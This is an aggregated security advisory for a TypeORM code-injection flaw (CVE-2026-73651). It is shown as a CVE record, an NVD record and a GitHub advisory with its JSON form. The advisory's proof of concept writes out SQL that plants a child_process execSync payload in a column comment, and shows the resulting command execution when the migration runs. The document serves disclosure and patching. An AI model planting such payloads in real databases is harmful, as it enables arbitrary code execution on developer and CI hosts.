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CVE-2026-73651 (GCVE-0-2026-73651)

Vulnerability from cvelistv5 – Published: 2026-08-13 18:11 – Updated: 2026-08-14 18:09

Title

TypeORM: migration:generate template-literal code injection

Summary

TypeORM is a TypeScript and JavaScript ORM for Node.js that supports PostgreSQL, MySQL, MariaDB, SQLite, SQL Server, Oracle, and other databases. Prior to versions 0.3.31 and 1.1.0, typeorm migration:generate embeds database schema metadata into JavaScript or TypeScript template literals in src/commands/MigrationGenerateCommand.ts, escaping backticks but not ${...} interpolation. An attacker with database schema write access can place a payload in column COMMENT or DEFAULT metadata, or another introspected schema string, and the JavaScript engine evaluates the payload when the generated migration is loaded through migration:run, import, or require. This issue is fixed in versions 0.3.31 and 1.1.0.

Severity

5.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 17:53 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/typeorm/typeorm/security/advis…	x_refsource_CONFIRM
https://github.com/typeorm/typeorm/commit/41d1c62…	x_refsource_MISC
https://github.com/typeorm/typeorm/commit/b175f9b…	x_refsource_MISC
https://github.com/typeorm/typeorm/releases/tag/0.3.31	x_refsource_MISC
https://github.com/typeorm/typeorm/releases/tag/1.1.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
typeorm	typeorm	Affected: < 0.3.31 Affected: >= 1.0.0, < 1.1.0	guessed

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FKIE_CVE-2026-73651

Vulnerability from fkie_nvd - Published: 2026-08-13 19:17 - Updated: 2026-08-14 19:18

Severity

5.7 (Medium) - CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519
	security-advisories@github.com	https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe
	security-advisories@github.com	https://github.com/typeorm/typeorm/releases/tag/0.3.31
	security-advisories@github.com	https://github.com/typeorm/typeorm/releases/tag/1.1.0
	security-advisories@github.com	https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49

Impacted products

	Vendor	Product	Version

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GHSA-2RP8-MM9Q-FP49

Vulnerability from github – Published: 2026-07-21 21:59 – Updated: 2026-08-13 18:11

Summary

TypeORM: migration:generate template-literal code injection

Details

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver	Metadata source	Source
Postgres	column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions	`PostgresQueryRunner.ts:1782`, `L1898`, `L2287`, `L4125`
MySQL/MariaDB	`COLUMN_DEFAULT`, `COLUMN_COMMENT`	`MysqlQueryRunner.ts:2873-2974`, `L3580-3583`
CockroachDB	Same patterns as Postgres	`CockroachQueryRunner.ts`

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File	Lines	Role
`MigrationGenerateCommand.ts`	117-138	Template-literal construction (sink)
`PostgresDriver.ts`	1886-1891	`escapeComment()` — Postgres
`MysqlDriver.ts`	1322-1328	`escapeComment()` — MySQL
`CockroachDriver.ts`	1236-1241	`escapeComment()` — CockroachDB

Confirmed injection vectors (MySQL):

Vector	Result	Notes
Column `COMMENT`	Confirmed	Proven in PoC below
Column `DEFAULT`	Confirmed	Attacker sets `ALTER TABLE ... DEFAULT '${...}'`; payload appears in generated migration
`CHECK` constraint	Not exploitable	MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE`
View definitions	Not tested	Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()`

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites: - Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate - The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

Inject payload into schema metadata. Set a column comment or default containing ${...}:

-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

Run migration generation on the developer/CI machine:

npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration

Inspect the generated file. The output .ts file contains unescaped ${...}:

export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}

Run or revert the migration:

npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Severity

5.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N

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  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "typeorm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
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            {
              "fixed": "0.3.31"
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          "type": "ECOSYSTEM"
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      ]
    },
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        "ecosystem": "npm",
        "name": "typeorm"
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              "introduced": "1.0.0"
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              "fixed": "1.1.0"
            }
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        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:59:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.\n\n### Details\n\n`MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:\n\n```typescript\n\"        await queryRunner.query(`\" +\n    upQuery.query.replaceAll(\"`\", \"\\\\`\") +\n    \"`\" + ...\n```\n\nIntrospected schema strings reach this sink through driver query runners:\n\n| Driver | Metadata source | Source |\n|---|---|---|\n| Postgres | column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions | [`PostgresQueryRunner.ts:1782`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1782), [`L1898`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1898), [`L2287`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L2287), [`L4125`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L4125) |\n| MySQL/MariaDB | `COLUMN_DEFAULT`, `COLUMN_COMMENT` | [`MysqlQueryRunner.ts:2873-2974`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L2873-L2974), [`L3580-3583`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L3580-L3583) |\n| CockroachDB | Same patterns as Postgres | [`CockroachQueryRunner.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachQueryRunner.ts) |\n\n`escapeComment()` on each driver strips only null bytes, leaving `${...}` intact:\n\n```typescript\nprotected escapeComment(comment?: string) {\n    if (!comment) return comment\n    comment = comment.replaceAll(\"\\u0000\", \"\")\n    return comment\n}\n```\n\nWhen the migration file is loaded (`migration:run`, `import`, or `require`), the JS engine evaluates `${...}` as live interpolation.\n\n**Affected source:**\n\n| File | Lines | Role |\n|---|---|---|\n| [`MigrationGenerateCommand.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/commands/MigrationGenerateCommand.ts#L117-L138) | 117-138 | Template-literal construction (sink) |\n| [`PostgresDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresDriver.ts#L1886-L1891) | 1886-1891 | `escapeComment()` \u2014 Postgres |\n| [`MysqlDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlDriver.ts#L1322-L1328) | 1322-1328 | `escapeComment()` \u2014 MySQL |\n| [`CockroachDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachDriver.ts#L1236-L1241) | 1236-1241 | `escapeComment()` \u2014 CockroachDB |\n\n**Confirmed injection vectors (MySQL):**\n\n| Vector | Result | Notes |\n|---|---|---|\n| Column `COMMENT` | Confirmed | Proven in PoC below |\n| Column `DEFAULT` | Confirmed | Attacker sets `ALTER TABLE ... DEFAULT \u0027${...}\u0027`; payload appears in generated migration |\n| `CHECK` constraint | Not exploitable | MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE` |\n| View definitions | Not tested | Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()` |\n\n**Suggested fix:** Escape `${` to `\\${` (and `\\\\` to `\\\\\\\\`) before embedding query strings into template literals, or switch to emitting the SQL as a `JSON.stringify()`-encoded regular string argument.\n\n### PoC\n\n**Prerequisites:**\n- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running `migration:generate`\n- The attacker has DDL/write access to the database, **or** the application exposes a feature allowing users to set column `COMMENT`, `DEFAULT`, or view definition text\n\n**Steps:**\n\n1. **Inject payload into schema metadata.** Set a column comment or default containing `${...}`:\n\n```sql\n-- PostgreSQL\nCOMMENT ON COLUMN users.name IS \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027;\n\n-- MySQL\nALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027;\n```\n\n2. **Run migration generation** on the developer/CI machine:\n\n```bash\nnpx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration\n```\n\n3. **Inspect the generated file.** The output `.ts` file contains unescaped `${...}`:\n\n```typescript\nexport class NextMigration1234567890 implements MigrationInterface {\n  public async up(queryRunner: QueryRunner): Promise\u003cvoid\u003e {\n    await queryRunner.query(\n      `COMMENT ON COLUMN \"users\".\"name\" IS \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027`,\n    );\n  }\n  // ...\n}\n```\n\n4. **Run or revert the migration:**\n\n```bash\nnpx typeorm migration:revert -d ./data-source.ts\n```\n\nOutput confirms code execution \u2014 `id` ran on the host and its output was interpolated into the SQL:\n\n```\nALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT \u0027uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...\u0027\n```\n\nThe payload appears in whichever migration direction restores the DB\u0027s current state. A malicious DB comment with a clean entity comment places it in `down()`. Attacker-influenced entity metadata places it in `up()`. Either direction executes the code when the method runs.\n\n### Impact\n\n**Code injection / RCE.** An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.\n\nCI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running `migration:generate` against a database with attacker-influenced schema metadata is affected.",
  "id": "GHSA-2rp8-mm9q-fp49",
  "modified": "2026-08-13T18:11:20Z",
  "published": "2026-07-21T21:59:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/typeorm/typeorm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/releases/tag/0.3.31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/releases/tag/1.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " TypeORM: migration:generate template-literal code injection"
}

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